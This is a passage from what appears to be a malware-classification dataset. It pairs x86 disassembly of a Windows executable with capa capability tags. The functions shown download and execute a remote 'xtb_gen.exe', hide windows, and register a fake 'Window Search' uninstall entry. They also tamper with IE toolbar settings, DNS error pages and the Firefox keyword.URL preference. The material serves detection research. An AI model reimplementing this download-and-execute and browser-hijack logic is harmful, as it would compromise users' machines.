joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f040
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40f080
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 0xc], 1
jne 0x40f096
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 7
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x4115c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
push 0x25
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x28]
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x45e164]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x28]
push eax
push 0
call fcn.00411340
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x41166a
cmp dword [0x46e5d8], 0
je 0x41166a
push 1
mov ecx, dword [0x45e164]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x28]
push eax
mov ecx, dword [0x46e5d8]
call fcn.0041c900
mov ecx, dword [0x46e5d8]
cmp dword [ecx + 4], 0
jne 0x41166a
mov edx, dword [0x46e5d8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x411659
push 1
mov ecx, dword [ebp - 4]
call fcn.004198f0
mov dword [ebp - 0x10], eax
jmp 0x411660
mov dword [ebp - 0x10], 0
mov dword [0x46e5d8], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov esp, ebp
pop ebp
ret 4

Function at 0x411690
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
push 0x2d
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x45e174], 0
je 0x4116ed
push str.help
lea eax, [ebp - 0x34]
push eax
call fcn.004301ee
add esp, 8
test eax, eax
je 0x4116ed
call fcn.00421ce0
test eax, eax
jne 0x4116e3
cmp dword [0x46e3b0], 0
je 0x4116e3
mov eax, 1
jmp 0x4116f2
push 1
mov ecx, dword [ebp - 0x38]
call fcn.004115c0
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x411700
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43199b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov dword [ebp - 0x20], ecx
cmp dword [0x45e148], 0
je 0x41172e
xor eax, eax
jmp 0x411871
push 0x433804
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x411770
mov dword [0x46e5d0], 0
push 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x28]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0x43380c
mov ecx, 0x46e970
call fcn.0041f450
push 0x433810
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x41179b
push 0
push 1
mov ecx, dword [ebp - 0x20]
call fcn.00413810
xor eax, eax
jmp 0x411871
mov ecx, dword [ebp - 0x20]
call fcn.00411410
push 0x48
mov ecx, 0x46e9a8
call fcn.00421660
push eax
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x3f
mov ecx, 0x46e9a8
call fcn.00421660
push eax
push 0x3e8
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
cmp dword [0x46e5d8], 0
je 0x41180f
mov eax, dword [0x46e5d8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
je 0x411808
push 1
mov ecx, dword [ebp - 0x10]
call fcn.004198f0
mov dword [ebp - 0x24], eax
jmp 0x41180f
mov dword [ebp - 0x24], 0
push 0x1c
call fcn.00424972
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0
je 0x411836
mov ecx, dword [ebp - 0x1c]
call fcn.0041b6d0
mov dword [ebp - 0x28], eax
jmp 0x41183d
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [0x46e5d8], eax
push 0
push 0x64
push 0x25
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x45e148], 1
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4136d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
push str.bendover
call fcn.00422810
add esp, 8
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall_s
lea eax, [ebp - 0x3e8]
push eax
call fcn.00423db8
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x41371c
lea ecx, [ebp - 0x3e8]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041fc30
add esp, 8
jmp 0x41380a
lea edx, [ebp - 0x3f0]
push edx
lea eax, [ebp - 0x3ec]
push eax
push 0
push 0xf003f
push 0
push 0x433a57
push 0
lea ecx, [ebp - 0x3e8]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x41380a
push str.Window_Search
lea edx, [ebp - 0x870]
push edx
call fcn.00423c20
add esp, 8
lea eax, [ebp - 0x870]
push eax
call fcn.00423b90
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x870]
push ecx
push 1
push 0
push str.DisplayName
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
lea eax, [ebp - 0x7f0]
push eax
call fcn.004219f0
add esp, 8
push 0xf
mov ecx, 0x46e9a8
call fcn.00421660
push eax
push str._s__UnIst
lea ecx, [ebp - 0x7f0]
push ecx
call fcn.00423b90
add esp, 4
lea edx, [ebp + eax - 0x7f0]
push edx
call fcn.00423db8
add esp, 0xc
lea eax, [ebp - 0x7f0]
push eax
call fcn.00423b90
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x7f0]
push ecx
push 1
push 0
push str.UninstallString
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x413fa0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 0x433d08
lea eax, [ebp - 0x20]
push eax
call fcn.00423c20
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x38], 0x43
jmp 0x413fd1
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0x5a
jg 0x414003
mov dl, byte [ebp - 0x38]
mov byte [ebp - 0x20], dl
push 0
push 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x28]
push edx
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x414001
jmp 0x414003
jmp 0x413fc8
cmp dword [ebp - 0x28], 0
jne 0x414010
mov dword [ebp - 0x28], 0xe16e
mov ecx, dword [ebp - 0x28]
xor ecx, 0xf51c
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.00423e10
add esp, 4
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x3c], 0
jmp 0x414041
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xb
jge 0x41405d
mov ecx, dword [ebp - 0x24]
shl ecx, 0xf
mov dword [ebp - 0x24], ecx
call fcn.00423e1d
or eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x414038
call fcn.00423e1d
mov esi, eax
shl esi, 0x10
call fcn.00423e1d
or esi, eax
mov dword [ebp - 0x30], esi
push 0
call fcn.00423e3f
add esp, 4
push eax
call fcn.00423e10
add esp, 4
call fcn.00423e1d
call fcn.00423e1d
call fcn.00423e1d
mov eax, dword [ebp - 0x30]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4140a0
Capabilities:
Accept command line arguments
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff8
cmp dword [ebp + 8], 0
je 0x4140b9
cmp dword [ebp + 8], 0xffffffff
jne 0x414304
lea eax, [ebp - 0x3e8]
mov dword [ebp - 0x7ec], eax
push 0
lea ecx, [ebp - 0x7e8]
push ecx
call fcn.004219f0
add esp, 8
mov dword [ebp - 0xff4], eax
push 0
push 0x433d0c
call fcn.00422810
add esp, 8
push eax
lea edx, [ebp - 0x7e8]
push edx
push 0x433d14
lea eax, [ebp - 0xbf0]
push eax
call fcn.00423db8
add esp, 0x10
push 0xf
mov ecx, 0x46e9a8
call fcn.00421660
push eax
push 0x433d1c
lea ecx, [ebp - 0x7e8]
push ecx
call fcn.00423b90
add esp, 4
lea edx, [ebp + eax - 0x7e8]
push edx
call fcn.00423db8
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
mov eax, dword [ebp - 0x7ec]
push eax
call fcn.00423c20
add esp, 8
push 0x433d20
mov ecx, dword [ebp - 0x7ec]
push ecx
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x414297
push str.__MxRxE:
mov edx, dword [ebp - 0x7ec]
push edx
call fcn.00423fb0
add esp, 8
add eax, 8
mov dword [ebp - 0x7ec], eax
push 0x433d38
mov eax, dword [ebp - 0x7ec]
push eax
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x4141b6
push 0x433d40
mov ecx, dword [ebp - 0x7ec]
push ecx
call fcn.00423fb0
add esp, 8
mov byte [eax], 0
push 0x433d48
mov edx, dword [ebp - 0x7ec]
push edx
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x4141e5
push 0x433d50
mov eax, dword [ebp - 0x7ec]
push eax
call fcn.00423fb0
add esp, 8
mov byte [eax], 0
push 0x433d58
mov ecx, dword [ebp - 0x7ec]
push ecx
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x414214
push str.__CuRL
mov edx, dword [ebp - 0x7ec]
push edx
call fcn.00423fb0
add esp, 8
mov byte [eax], 0
push 0x433d68
mov eax, dword [ebp - 0x7ec]
push eax
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x414243
push str.__PReVeR
mov ecx, dword [ebp - 0x7ec]
push ecx
call fcn.00423fb0
add esp, 8
mov byte [eax], 0
push 0x200
lea edx, [ebp - 0xff0]
push edx
mov eax, dword [ebp - 0x7ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [ebp - 0xff8], eax
cmp dword [ebp - 0xff8], 0
jne 0x414281
mov ecx, dword [ebp - 0x7ec]
push ecx
lea edx, [ebp - 0xff0]
push edx
call fcn.00423c20
add esp, 8
push 0
lea eax, [ebp - 0x7e8]
push eax
lea ecx, [ebp - 0xff0]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.__QuieT
lea edx, [ebp - 0x7e8]
push edx
call fcn.00423c30
add esp, 8
push 0x433d88
mov ecx, 0x46e970
call fcn.0041f4a0
test eax, eax
je 0x414304
lea eax, [ebp - 0x7e8]
push eax
call fcn.00423b90
add esp, 4
push eax
lea ecx, [ebp - 0x7e8]
push ecx
push 1
push 0
push 0x433d8c
call fcn.00422810
add esp, 8
push eax
push 0
push 0x433d98
call fcn.00422d00
add esp, 8
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041fb80
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x4146f0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x435fb0
push 1
push 0
push 0x435fc0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x41480a
lea ecx, [ebp - 0xc]
push ecx
push 0x436010
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
call dword [eax]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x4147fe
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
call dword [ecx + 0x50]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x414767
xor eax, eax
jmp 0x414813
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
call dword [edx + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x414787
xor eax, eax
jmp 0x414813
cmp dword [ebp + 0x14], 0xffffffff
je 0x4147b4
cmp dword [ebp + 0x18], 0
je 0x4147b4
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
call dword [ecx + 0x44]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x4147b4
xor eax, eax
jmp 0x414813
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
lea edx, [ebp - 0x218]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 0x18]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x4147f2
xor eax, eax
jmp 0x414813
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x415b10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov dword [ebp - 4], 0
jmp 0x415b2b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xa
jge 0x415bf6
cmp dword [ebp + 0x10], 0
je 0x415b46
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x40c], ecx
jmp 0x415b50
mov dword [ebp - 0x40c], 0x434254
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x40c]
push eax
push 0x43425c
lea ecx, [ebp - 0x288]
push ecx
call fcn.00423db8
add esp, 0x10
push 0
lea edx, [ebp - 0x288]
push edx
call fcn.00422810
add esp, 8
push eax
push 0x434264
lea eax, [ebp - 0x308]
push eax
call fcn.00423db8
add esp, 0xc
lea ecx, [ebp - 0x308]
push ecx
lea edx, [ebp - 0x208]
push edx
call fcn.00415190
add esp, 8
lea eax, [ebp - 0x208]
push eax
call fcn.004152b0
add esp, 4
test eax, eax
je 0x415bf1
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.004159d0
add esp, 8
test eax, eax
jne 0x415bf1
push 0
lea edx, [ebp - 0x208]
push edx
call fcn.00415960
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415b22
cmp dword [ebp + 8], 0
jne 0x415cd7
mov dword [ebp - 4], 0
jmp 0x415c12
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xa
jge 0x415cd5
cmp dword [ebp + 0x10], 0
je 0x415c2d
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x410], edx
jmp 0x415c37
mov dword [ebp - 0x410], str.quizbt
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
push str._s_d
lea edx, [ebp - 0x388]
push edx
call fcn.00423db8
add esp, 0x10
push 0
lea eax, [ebp - 0x388]
push eax
call fcn.00422810
add esp, 8
push eax
push str._s.dll
lea ecx, [ebp - 0x408]
push ecx
call fcn.00423db8
add esp, 0xc
lea edx, [ebp - 0x408]
push edx
lea eax, [ebp - 0x208]
push eax
call fcn.00415190
add esp, 8
lea ecx, [ebp - 0x208]
push ecx
call fcn.004152b0
add esp, 4
test eax, eax
jne 0x415cd0
push 0x434284
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x208]
push eax
call fcn.004220c0
add esp, 0xc
push 1
lea ecx, [ebp - 0x208]
push ecx
call fcn.00415960
add esp, 8
jmp 0x415cd5
jmp 0x415c09
jmp 0x415cee
push str.9B35A850_66AB_4c6d_8A66_136ECADCD904
push str.SoftwareMicrosoftInternet_ExplorerToolbar
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041fbe0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x415d00
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push str.dnserror
call fcn.00422810
add esp, 8
push eax
lea ecx, [ebp - 0x400]
push ecx
push str._s_s.htm
lea edx, [ebp - 0x800]
push edx
call fcn.00423db8
add esp, 0x10
cmp dword [ebp + 8], 0
je 0x415d5b
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415d71
push 0x4342f8
push 0x69
lea ecx, [ebp - 0x800]
push ecx
call fcn.004220c0
add esp, 0xc
push 0
push str.i_dnserr
call fcn.00422810
add esp, 8
push eax
lea edx, [ebp - 0x400]
push edx
push 0x434308
lea eax, [ebp - 0x800]
push eax
call fcn.00423db8
add esp, 0x10
cmp dword [ebp + 8], 0
je 0x415db1
lea ecx, [ebp - 0x800]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415dc7
push 0x434314
push 0x6a
lea edx, [ebp - 0x800]
push edx
call fcn.004220c0
add esp, 0xc
push 0
push str.s_dnserr
call fcn.00422810
add esp, 8
push eax
lea eax, [ebp - 0x400]
push eax
push 0x434324
lea ecx, [ebp - 0x800]
push ecx
call fcn.00423db8
add esp, 0x10
cmp dword [ebp + 8], 0
je 0x415e07
lea edx, [ebp - 0x800]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415e1d
push 0x434330
push 0x6b
lea eax, [ebp - 0x800]
push eax
call fcn.004220c0
add esp, 0xc
push 0
push str.r_dnserr
call fcn.00422810
add esp, 8
push eax
lea ecx, [ebp - 0x400]
push ecx
push 0x434340
lea edx, [ebp - 0x800]
push edx
call fcn.00423db8
add esp, 0x10
cmp dword [ebp + 8], 0
je 0x415e5d
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415e73
push 0x43434c
push 0x6e
lea ecx, [ebp - 0x800]
push ecx
call fcn.004220c0
add esp, 0xc
push 0
push str.b_dnserr
call fcn.00422810
add esp, 8
push eax
lea edx, [ebp - 0x400]
push edx
push str._s_s.gif
lea eax, [ebp - 0x800]
push eax
call fcn.00423db8
add esp, 0x10
cmp dword [ebp + 8], 0
je 0x415eb3
lea ecx, [ebp - 0x800]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x415ec9
push 0x434368
push 0x6f
lea edx, [ebp - 0x800]
push edx
call fcn.004220c0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x415ed0
Capabilities:
Create http request
Create process on windows
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf4a5c
call fcn.00424090
push 0
lea eax, [ebp - 0xf4648]
push eax
call fcn.004219f0
add esp, 8
push 0
push 0x43436c
call fcn.00422810
add esp, 8
push eax
push 0x434378
lea ecx, [ebp - 0xf4648]
push ecx
call fcn.00423b90
add esp, 4
lea edx, [ebp + eax - 0xf4648]
push edx
call fcn.00423db8
add esp, 0xc
push 1
lea eax, [ebp - 0xf4648]
push eax
call fcn.00421a80
add esp, 8
lea ecx, [ebp - 0xf4648]
push ecx
call fcn.00421ca0
add esp, 4
test eax, eax
je 0x415f8b
push 0
lea edx, [ebp - 0xf4648]
push edx
call fcn.004219f0
add esp, 8
push 0
push str.byb2sv
call fcn.00422810
add esp, 8
push eax
push 0x434388
lea eax, [ebp - 0xf4648]
push eax
call fcn.00423b90
add esp, 4
lea ecx, [ebp + eax - 0xf4648]
push ecx
call fcn.00423db8
add esp, 0xc
push 0
push 0
push 0
push 1
push 0x434390
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xf4244], eax
cmp dword [ebp - 0xf4244], 0
jne 0x415fb2
jmp 0x416159
push 0
push str.4655DD8A356B6EFAAE3814B359B5
call fcn.00422d00
add esp, 8
push eax
push str.http:___s_bins_xtb_gen.exe
lea edx, [ebp - 0xf4a48]
push edx
call fcn.00423db8
add esp, 0xc
push 0
push 0x410
push 0
push 0
lea eax, [ebp - 0xf4a48]
push eax
mov ecx, dword [ebp - 0xf4244]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xf4a50], eax
cmp dword [ebp - 0xf4a50], 0
jne 0x416016
mov edx, dword [ebp - 0xf4244]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x416159
mov dword [ebp - 0xf4a4c], 0
cmp dword [ebp - 0xf4a4c], 8
jge 0x41613f
mov dword [ebp - 0xf4a58], 0
mov eax, dword [ebp - 0xf4a4c]
add eax, 1
mov dword [ebp - 0xf4a4c], eax
mov dword [ebp - 0xf4a54], 0xc350
lea ecx, [ebp - 0xf4a58]
push ecx
push 0xf3e58
lea edx, [ebp - 0xf4240]
push edx
mov eax, dword [ebp - 0xf4a50]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x41613a
cmp dword [ebp - 0xf4a58], 4
jbe 0x41608d
mov ecx, dword [ebp - 0xf4240]
mov dword [ebp - 0xf4a54], ecx
mov edx, dword [ebp - 0xf4a58]
cmp edx, dword [ebp - 0xf4a54]
jae 0x4160c5
push 0
push 0x410
push 0
push 0
lea eax, [ebp - 0xf4a48]
push eax
mov ecx, dword [ebp - 0xf4244]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xf4a50], eax
jmp 0x416020
push 0x4343dc
lea edx, [ebp - 0xf4648]
push edx
call fcn.004257b5
add esp, 8
mov dword [ebp - 0xf4a5c], eax
cmp dword [ebp - 0xf4a5c], 0
je 0x41613a
mov eax, dword [ebp - 0xf4a5c]
push eax
mov ecx, dword [ebp - 0xf4a58]
sub ecx, 4
push ecx
push 1
lea edx, [ebp - 0xf423c]
push edx
call fcn.00425e42
add esp, 0x10
mov eax, dword [ebp - 0xf4a5c]
push eax
call fcn.004256aa
add esp, 4
push 0
push 0
lea ecx, [ebp - 0xf4648]
push ecx
lea edx, [ebp - 0xf4648]
push edx
push 0x4343e0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x41613f
jmp 0x416020
mov eax, dword [ebp - 0xf4a50]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xf4244]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x416160
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc80
push 0x7d0
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x416184
jmp 0x416273
push 0
push str.8307880E42C36B1E4433C16E10
call fcn.00422d00
add esp, 8
push eax
push 0x434404
lea ecx, [ebp - 0x880]
push ecx
call fcn.00423b90
add esp, 4
lea edx, [ebp + eax - 0x880]
push edx
call fcn.00423db8
add esp, 0xc
lea eax, [ebp - 0x880]
push eax
call fcn.00421ca0
add esp, 4
test eax, eax
je 0x4161de
push str.wa_small.ex2
lea ecx, [ebp - 0x80]
push ecx
call fcn.00423c20
add esp, 8
jmp 0x4161ef
push str.wa_big.ex2
lea edx, [ebp - 0x80]
push edx
call fcn.00423c20
add esp, 8
lea eax, [ebp - 0x80]
push eax
push str.bins.
call fcn.00422fc0
add esp, 4
push eax
push str.http:___s_bins__s
lea ecx, [ebp - 0xc80]
push ecx
call fcn.00423db8
add esp, 0x10
push 0
push 0
push 0x434440
call fcn.00422d00
add esp, 8
push eax
push 0
push 0x43445b
push 0
push 0x43445c
call fcn.00422d00
add esp, 8
push eax
lea edx, [ebp - 0xc80]
push edx
call fcn.004228e0
add esp, 0x18
test eax, eax
je 0x416273
push 0x46e288
push 0
push str.44243026D8074181D89FD6BE
call fcn.00422d00
add esp, 8
push eax
push 0x46e700
call fcn.0041b4f0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x417930
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2410
call fcn.00424090
push 0x434c6c
push 0x434c7c
call fcn.00421fe0
add esp, 8
cmp dword [ebp + 0x10], 0
je 0x417972
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x417ae6
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, dword [ebp + 0xc]
movsx eax, byte [edx]
test eax, eax
je 0x417994
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
test edx, edx
jne 0x417999
jmp 0x417ae6
push 0x434c88
mov eax, dword [ebp + 0xc]
push eax
call fcn.004257b5
add esp, 8
mov dword [ebp - 0x240c], eax
cmp dword [ebp - 0x240c], 0
jne 0x4179be
jmp 0x417ae6
push 0x434c8c
mov ecx, dword [ebp + 8]
push ecx
call fcn.004257b5
add esp, 8
mov dword [ebp - 0x2408], eax
cmp dword [ebp - 0x2408], 0
jne 0x4179e3
jmp 0x417ae6
mov dword [ebp - 0x2410], 0
mov byte [ebp - 0x2400], 0
mov byte [ebp - 0x400], 0
mov dword [ebp - 0x2404], 0
mov edx, dword [ebp - 0x240c]
mov eax, dword [edx + 0xc]
and eax, 0x10
jne 0x417aa7
cmp dword [ebp - 0x2410], 0
jne 0x417aa7
mov ecx, dword [ebp - 0x240c]
push ecx
push 0x1000
lea edx, [ebp - 0x1400]
push edx
call fcn.00425905
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2410], eax
je 0x417a4e
jmp 0x417aa7
push 0x12
push str.pref__keyword.URL_
lea eax, [ebp - 0x1400]
push eax
call fcn.00425f00
add esp, 0xc
test eax, eax
jne 0x417a8c
mov ecx, dword [ebp + 0x14]
push ecx
push str.pref__keyword.URL_____s____n
mov edx, dword [ebp - 0x2408]
push edx
call fcn.004256fb
add esp, 0xc
mov dword [ebp - 0x2404], 1
jmp 0x417aa2
mov eax, dword [ebp - 0x2408]
push eax
lea ecx, [ebp - 0x1400]
push ecx
call fcn.00425e8e
add esp, 8
jmp 0x417a05
cmp dword [ebp - 0x2404], 0
jne 0x417ac8
mov edx, dword [ebp + 0x14]
push edx
push str._npref__keyword.URL_____s____n
